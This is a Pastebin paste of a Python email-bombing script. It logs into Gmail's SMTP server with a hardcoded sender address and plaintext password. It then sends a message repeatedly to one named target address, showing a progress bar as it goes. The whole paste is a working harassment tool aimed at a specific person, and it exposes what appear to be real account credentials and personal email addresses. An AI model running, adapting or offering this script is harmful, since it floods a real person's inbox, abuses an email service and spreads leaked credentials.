Advertisement
Guest User

Untitled

a guest
Mar 29th, 2019
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.47 KB | None | 0 0
  1. import getpass
  2. import smtplib
  3. import time
  4. import os
  5.  
  6. # FUNCTIONS
  7.  
  8. def drawbar (percentage):
  9. if percentage == 0 or percentage < 0:
  10. return "[ ]"
  11. elif percentage >= 0 and percentage < 5:
  12. return "[ ]"
  13. elif percentage >= 5 and percentage < 10:
  14. return "[= ]"
  15. elif percentage >= 10 and percentage < 15:
  16. return "[== ]"
  17. elif percentage >= 15 and percentage < 20:
  18. return "[=== ]"
  19. elif percentage >= 20 and percentage < 25:
  20. return "[==== ]"
  21. elif percentage >= 25 and percentage < 30:
  22. return "[===== ]"
  23. elif percentage >= 30 and percentage < 35:
  24. return "[====== ]"
  25. elif percentage >= 35 and percentage < 40:
  26. return "[======= ]"
  27. elif percentage >= 40 and percentage < 45:
  28. return "[======== ]"
  29. elif percentage >= 45 and percentage < 50:
  30. return "[========= ]"
  31. elif percentage >= 50 and percentage < 55:
  32. return "[========== ]"
  33. elif percentage >= 55 and percentage < 60:
  34. return "[=========== ]"
  35. elif percentage >= 60 and percentage < 65:
  36. return "[============ ]"
  37. elif percentage >= 65 and percentage < 70:
  38. return "[============= ]"
  39. elif percentage >= 70 and percentage < 75:
  40. return "[============== ]"
  41. elif percentage >= 75 and percentage < 80:
  42. return "[=============== ]"
  43. elif percentage >= 80 and percentage < 85:
  44. return "[================ ]"
  45. elif percentage >= 85 and percentage < 90:
  46. return "[================= ]"
  47. elif percentage >= 90 and percentage < 95:
  48. return "[================== ]"
  49. elif percentage >= 95 and percentage < 100:
  50. return "[=================== ]"
  51. elif percentage >= 100:
  52. return "[====================]"
  53.  
  54. # START
  55.  
  56. os.system("clear")
  57.  
  58. # TARGET & SENDER INFO
  59.  
  60. print(' * Target: amferc@gmail.com')
  61. target = 'amferc@gmail.com'
  62.  
  63. # LOGIN TO SERVER
  64.  
  65. s = True
  66. while s == True:
  67. print(' * Sender: systemtheleet@gmail.com')
  68. print(' * Sender Password: ')
  69. print(' - Loging in to smtp.gmail.com ')
  70. sender = 'systemtheleet@gmail.com'
  71. sender_pwd = 'root1337'
  72. server = smtplib.SMTP('smtp.gmail.com', 587)
  73. server.starttls()
  74. try:
  75. server.login(sender, sender_pwd)
  76. print(' - Sucessfully logged in as', sender, '\n')
  77. s = False
  78. except:
  79. print(' - Error loging in to smtp.gmail.com\n')
  80.  
  81. # EMAIL FORMAT
  82.  
  83. message = input(' * Message: ')
  84. emailnum = int(input(' * Number of emails: '))
  85.  
  86. # THE ACTUAL PROCESS
  87.  
  88. percentone = 100 / emailnum
  89. i = 0
  90.  
  91. start_time = time.time()
  92.  
  93. while i <= emailnum:
  94. try:
  95. server.sendmail(sender, target, message)
  96. os.system("clear")
  97. i = i + 1
  98. elapsed_time = time.time() - start_time
  99. n2=int(elapsed_time/3600)
  100. n3=elapsed_time%3600
  101. n4=int(n3/60)
  102. n5=n3%60
  103. n6=int(n5)
  104. txt = "{} sent | {} total | {:0>2.0f}:{:0>2.0f}:{:0>2.0f} elapsed".format(i, emailnum, n2, n4, n6)
  105. print("\n| {:^45} |\n\n| {} {:>6.2f} % |\n\n| {:^45} |".format(target, drawbar(percentone*i), percentone*i, txt))
  106. except:
  107. os.system("clear")
  108. elapsed_time = time.time() - start_time
  109. n2=int(elapsed_time/3600)
  110. n3=elapsed_time%3600
  111. n4=int(n3/60)
  112. n5=n3%60
  113. n6=int(n5)
  114. txt = "{} sent | {} total | {:0>2.0f}:{:0>2.0f}:{:0>2.0f} elapsed".format(i, emailnum, n2, n4, n6)
  115. print("\n| {:^45} |\n\n| [{:^20}] {:>6.2f} % |\n\n| {:^45} |".format(target, "ERROR", drawbar(percentone*i), percentone*i, txt, n2, n4, n6))
  116. time.sleep(0.25)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement